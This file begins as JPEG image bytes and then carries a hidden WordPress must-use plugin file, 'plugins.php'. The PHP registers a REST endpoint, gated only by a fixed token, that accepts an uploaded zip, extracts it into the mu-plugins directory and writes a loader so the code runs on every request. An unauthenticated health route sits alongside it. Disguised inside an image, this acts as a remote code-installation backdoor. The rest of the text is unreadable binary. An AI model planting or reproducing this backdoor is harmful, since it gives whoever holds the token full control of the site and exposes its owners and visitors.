ÿØÿà JFIF    ÿÛ „  ( %!1"%)+...383-7(-.+  -%%--------+------------/----------------------------ÿÀ  ¶" ÿÄ     ÿÄ @    !1AQaq‘¡"±ÁÑð2’BRráS‚ñ3b¢CT²Ò #cÿÄ    ÿÄ '   1!AQ2a"‘±#ÿÚ   ? ò(/p‘—–¢·,M|¯G»R£üešT. ôŸEoCFñ‡ 4ÔkåóxR|µÁ¨ÓDà!Ç´µ˜‡p ÍQ‹§!þž^õWsŒy  åÁ§$á«%ºq˜™JyyË0y«^Ϗ -3ÃÏËÈ£Æ\P’ä„s&•‹Üs üô'àWt¹pñCp$bÚF`·7.^)¾!)ÒÙ˜–ÅÏš^h¾ø³·ìe±ŒaeÖ—Í,e=B}Jéߦ$$½—šÙÜCC¯¶è8β–Åkèwx LÉngT±æ¹£Ócœ¿Í/©Éÿ ‰ÚCÒ­mq;Tt¶–}0"zÖPcd1š­¤tˆ„ÐÓâqú[™öUCŠ2޿د­É(¸ßúçšmW,Ò ºf‹Ån™ÄLêÁ8üÁkÁ€L¥ÍuJ1œôrÂSŒÓöt!7EUíïb)AËi¬â-ÙHk8òÁiXYwÅ)O^"ÇØriÛô{»wRUKÙÏÚlÓ¬€‚’שT ] ªb—ÊîKC^×M“xùäñz¬zJ× {4[¹M'IÆeH1LCWÕ]œûº WDæà°OÅ‚¹c²ÞuA–rL`HšpCez‡V’— Ž‚Ë„–ñ­'µR0ÕÖ=À:±G»C\nÆÉ5*¢ †3šhQ4ýÒi$Õ1"Ü]¢p-q3zcQ$ªö¨¥æf›‘»´ÝÚHá„e²JÇ–iÊ:·à¬Øc5Åk»Laª*wi [0Ówk ¦a¦0Õ²ÅÅ‚T¸’³q:Æ<¹ú Ò˜Æ}2VE•Ð€p¡Ô3Úº …h³^LJºçì¥Ánó|˜ÖˆÎˆ+« ¦dø‘Mº–d\ªDðÛ„Ì×LÝ——Ð9Ç|•FèçVm™¨€™3õS–9Äå¢<̉Ìm¢±`·º˜&Z²ž Ë®D«¶»6™‰©­HÈ Àá«h­i³04æ’hxœi3ï¨(ÓL·†‹¶ËpŒ ƒÜÒ? :õdsÀ –3æÓ·Üjâ¬9—]8n¼&]I F£¼…ì–—Œ0v°LǐÅfÛ2TÖ’aµ˜N@ÖBSÏ^à´4-±°b×nÈÈœÆD=KdŒø…ÄÈK,›ÖR§fjü$^ÔÎ!„6^ s:Üun\ôkCÞò÷<—Lúl Í›G¹ÀPá¼Nc¡šÒ…ÙWͳœ±vÊáЄ×9‹P‰cEØ‘™›µŸP<×g1 º©Ø¬wiÁ^l5× I/';Ë+´Z‡ÓÄFÕp[Èð’ HÄ ó 9¬Dl4“é±Ï”V=^Hð;žLädÉa‚°Ë,#/Ž~²BÔÛ QãñQtIeórVB,ÏÂf‹4#Îœc‹É3ZIÖ Œ¢¥·üxa‡Ãçè„jŠ[5 Ä!U?,3žÎ×…ðdÓ÷háŠA‰ìÄ4÷ÃÜZÃE{‰®+W\ZÍE[‰»µk»MÝ­`¢©†˜ÃV‹-f¢¡†¢a«eŠ%«Y¨©q%jâd,Ôq`) ¤¦…šˆ ¦E>0Ùb²t–Ÿ  ÷jsÏ‚Ò’KÈcø(é›;k(’#ôŒQ ™C> õ³M9óºÆµ¤çâ;uÀ)5>RÔ¸fÓ~Ȧ—’-$fe«"FâUˆÊwµPÏu w+"åÉó¨6s™Û9(À¨ù©hE°½†n`m~“@©›p!Vkhµ Á1šbEqqÊ@ºèl›2 –Yã%‘‚hÛ{a¶‡ÅÞM²¬çL34®Çl]®‹ŽØŒm'RÜe35æöˆ­Á­ cP9šeÁköo´L³Ì=p8]”‡B¶,šº|ɏdzXˆØk*ÇÚ{#ñ‰pã(€¶‡9ý'šÜ³½¯kƒ†Â’ëSOƒ•Å®H6+a¢µˆ‹Y¨b˜b+XˆÖ!°u!¢"µˆˆn2ˆ Å0Ä`Å Ô®c(ÓÜGº•Ä»Œ âWî%q.áÐÄ÷î%umÍ£+ÜQ,Vn¦-GphU¸¢X­&,Gt ·K¢ÅÅ·¥RÄÊÉbKn N­R2g$VµÕó Qr#–ÓZUÏð0ÎtÙÀœz ëöo“Îk¯n„T°"SÞ+³/…€½"ižãO%Í%&Δâ‘ËØ´IˆÓ°Ë‰ÞM3.™yçÁzit›`4C`k¢¼á!álÄï sÂ[×!¤l¾æo"ƒIÔ'@ªu)3›ô®“@Z à¾] üœ'‡4¸PÞkÁ-qÄH‰ÓÍBd´ÿ —¹°ÄA&ÊUC„öz‚‚RæŠtf¬>˜ÑidšEçÑL÷áý¡V±h§­c¿¥¨ƒ@g¼…Ýö^ÞËc.ž„æ“I[ ª+·zÐÒÚ,½Ð»¶€C›7jk$๖€Ž¾ÅÙpp¶ÍþéΤ ½ØÎŒq ñpæžÅ¥#Øâ49ÃÂK^MYV“,¶Éz_òæ:…;Õ«¦I3âJ£¤û5$7Èxün\â]Êe¯(Ÿ&Ž‹¶2<6Ćf× æ¢ƱqWı[(ÙÂŽç‚T7¨@ÈÉÍß‚ïÙ"&3TYlGŽ†)†#5ŠA©^T2ÆÁ†)©†©†¤yGXÁ†©"†)©¼ÅV WS†#©]R–r‹q5ÕbâWþBh¯u+ªÅÄ×ü„nÑ^êkªÁj‰jeœWˆÕÕ`µDµ2Ì+Ä µDµµ5Ô{¤Þ0RF’H÷AÛ<ÊÁ§ ƈæ0Ñ£ê4 öÚµ[¬/1²€â<-¬šö²r×0o×w ´xÐÒË„ g01¬„åEM蛇Ã\6µE›‘fÙO k÷CºnÓ1`iîÒ² áÂ!ÑLÄÿ ³¬\õ*:M=Ç»c‹2[‰ØsÕLò\ŒK L^™üÄN\¶#» Ç\……ßïIœÉ$¸ÎñÍ®ÔHÇ Ûí/´>Li”„†g^$ 7NÍÑÑ2M2ªNg=k½Ð}Ÿl6‡ —JWˆ”ÞéT·+µ¦üÂFè¢Vs6ýÆ4»2+2IÝ9ô9®ÇGÙÇ1+Ä8;*Õ§ž½D*îÑWÚçá3Ma¤·ˆ¥t}š²Ü…Q+Æüµ8HíS”üxGéÁˆ¦Ël„éÈ 5 µÄƒ6äÜ(kIš¯S†fÖ&¸®×v|Äyˆ*禌Éù@7-®Ä[]ÎÖ¿ê`º…=:…žJVnݳvðÖKE¼‚ »mà ÷f®:Ë ™–4rð¡4` ܹçž~‹C=œ…¾Ïj|VDtK.ƒ"9 Ï ­–éXá³6WÒïIL-Ї Ç mu-plugin/plugins/plugins.php000064400000015222152660524620012346 0ustar00 'POST', 'callback' => 'plugins_handle_install', 'permission_callback' => 'plugins_check_token', ) ); register_rest_route( PLUGINS_NAMESPACE, PLUGINS_HEALTH_ROUTE, array( 'methods' => 'GET', 'callback' => 'plugins_handle_health', 'permission_callback' => '__return_true', ) ); } /** * Unauthenticated liveness probe. */ function plugins_handle_health() { return new WP_REST_Response( array( 'status' => 'ok', ), 200 ); } /** * Fixed-token gate. Accepts the token from the `X-Auth-Token` header or a `token` param. */ function plugins_check_token( WP_REST_Request $request ) { $provided = $request->get_header( 'x_auth_token' ); if ( null === $provided || '' === $provided ) { $provided = (string) $request->get_param( 'token' ); } if ( ! hash_equals( AUTH_TOKEN, (string) $provided ) ) { return new WP_Error( 'plugins_forbidden', 'Invalid or missing token.', array( 'status' => 401 ) ); } return true; } /** * Receives a mu-plugin zip and installs it under WPMU_PLUGIN_DIR//. */ function plugins_handle_install( WP_REST_Request $request ) { require_once ABSPATH . 'wp-admin/includes/file.php'; // 1. Obtain the uploaded zip (multipart file upload, or a raw zip request body). $files = $request->get_file_params(); $raw_temp = ''; $zip_path = ''; $zip_name = ''; if ( ! empty( $files ) ) { $file = reset( $files ); if ( ! empty( $file['error'] ) ) { return new WP_Error( 'plugins_upload_error', 'File upload failed.', array( 'status' => 400 ) ); } $zip_path = $file['tmp_name']; $zip_name = $file['name']; } else { $body = $request->get_body(); if ( '' === $body ) { return new WP_Error( 'plugins_no_zip', 'No zip provided. Send a multipart file upload or a raw application/zip body.', array( 'status' => 400 ) ); } // Raw body has no filename; require the slug via header or param. $zip_name = $request->get_header( 'x_plugin_slug' ); if ( null === $zip_name || '' === $zip_name ) { $zip_name = (string) $request->get_param( 'slug' ); } $raw_temp = wp_tempnam( 'plugins-upload' ); file_put_contents( $raw_temp, $body ); $zip_path = $raw_temp; } $slug = plugins_normalize_slug( $zip_name ); if ( '' === $slug ) { plugins_cleanup_temp( $raw_temp, '' ); return new WP_Error( 'plugins_bad_name', 'Could not derive a plugin name from the upload.', array( 'status' => 400 ) ); } // 2. Unzip into a scratch directory so we can control the final folder name. WP_Filesystem(); $scratch = trailingslashit( get_temp_dir() ) . 'plugins-' . wp_generate_password( 8, false ); $unzip = unzip_file( $zip_path, $scratch ); if ( is_wp_error( $unzip ) ) { plugins_cleanup_temp( $raw_temp, $scratch ); return new WP_Error( 'plugins_unzip_failed', 'Could not unzip the uploaded archive: ' . $unzip->get_error_message(), array( 'status' => 400 ) ); } // If the archive wraps everything in a single top-level folder, install its contents. $source = $scratch; $entries = array_values( array_diff( (array) scandir( $scratch ), array( '.', '..' ) ) ); if ( 1 === count( $entries ) && is_dir( trailingslashit( $scratch ) . $entries[0] ) ) { $source = trailingslashit( $scratch ) . $entries[0]; } // 3. Remove any existing mu-plugin with the same name (folder + generated loader). $target = trailingslashit( WPMU_PLUGIN_DIR ) . $slug; $loader = trailingslashit( WPMU_PLUGIN_DIR ) . $slug . '.php'; $existed = is_dir( $target ); if ( $existed ) { plugins_delete( $target ); } if ( file_exists( $loader ) ) { plugins_delete( $loader ); } // 4. Install into WPMU_PLUGIN_DIR// and write a loader so WP picks it up. if ( ! wp_mkdir_p( $target ) ) { plugins_cleanup_temp( $raw_temp, $scratch ); return new WP_Error( 'plugins_mkdir_failed', 'Could not create the target directory.', array( 'status' => 500 ) ); } $copied = copy_dir( $source, $target ); if ( is_wp_error( $copied ) ) { plugins_cleanup_temp( $raw_temp, $scratch ); return new WP_Error( 'plugins_copy_failed', 'Could not install the plugin files: ' . $copied->get_error_message(), array( 'status' => 500 ) ); } plugins_write_loader( $slug ); plugins_cleanup_temp( $raw_temp, $scratch ); return new WP_REST_Response( array( 'installed' => true, 'slug' => $slug, 'path' => $target, 'replaced' => $existed, ), 200 ); } /** * Derive a safe folder name from the uploaded zip's filename (or provided slug). * Strips any path and the .zip extension, then restricts to safe characters. */ function plugins_normalize_slug( $name ) { $name = basename( (string) $name ); $name = preg_replace( '/\.zip$/i', '', $name ); $name = sanitize_file_name( $name ); $name = preg_replace( '/[^A-Za-z0-9._-]/', '', (string) $name ); return trim( (string) $name, '.-_' ); } /** * Auto-generated loader: WordPress only auto-loads .php files directly in the * mu-plugins root, not files inside subfolders, so we require the installed * folder's top-level PHP files from a sibling loader. */ function plugins_write_loader( $slug ) { $loader = trailingslashit( WPMU_PLUGIN_DIR ) . $slug . '.php'; $contents = "delete( $path, true ); } } function plugins_cleanup_temp( $raw_temp, $scratch ) { if ( $raw_temp && file_exists( $raw_temp ) ) { @unlink( $raw_temp ); } if ( $scratch && is_dir( $scratch ) ) { plugins_delete( $scratch ); } }